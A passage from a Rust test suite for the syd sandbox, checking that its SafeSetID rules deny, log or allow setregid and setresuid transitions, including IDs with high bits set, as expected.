};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setregid_root_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setregid success.
// SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_allow_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setregid", ["-1", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_allow_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setregid", ["65534", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_allow_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setregid", ["65534", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_upper_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.log("warn")
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setregid", [&gid, "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_upper_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.log("warn")
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setregid", ["-1", &gid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setregid_nobody_safesetid_upper_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.log("warn")
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setregid", [&gid, &gid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["-1", "-1", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["-1", "65534", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["65534", "-1", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["-1", "65534", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["65534", "65534", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["65534", "-1", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_default_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresuid", ["65534", "65534", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["-1", "-1", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["-1", "65534", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["65534", "-1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["-1", "65534", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["65534", "65534", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["65534", "-1", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_deny_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SAFETY: Set the comment to test setresuid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["65534", "65534", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["-1", "-1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setreuid", ["-1", "1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["1", "-1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["-1", "1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["1", "1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["1", "-1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_root_safesetid_deny_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled, but no matching UID transition defined.
// The syscall must be denied with EACCES for UID<=UID_MIN.
// Note we use UID=1 rather than UID=0 because this test is
// typically run as root so if we run as UID=0 we cannot
// detect the non-UID-change despite setresuid success.
// SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because UID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("setresuid", ["1", "1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["-1", "-1", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["-1", "65534", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["65534", "-1", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["-1", "65534", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_5() -> TestResult {
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["65534", "65534", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["65534", "-1", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_allow_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// SafeSetID is enabled with UID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["65534", "65534", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["-1", "-1", &uid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["-1", &uid, "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", [&uid, "-1", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
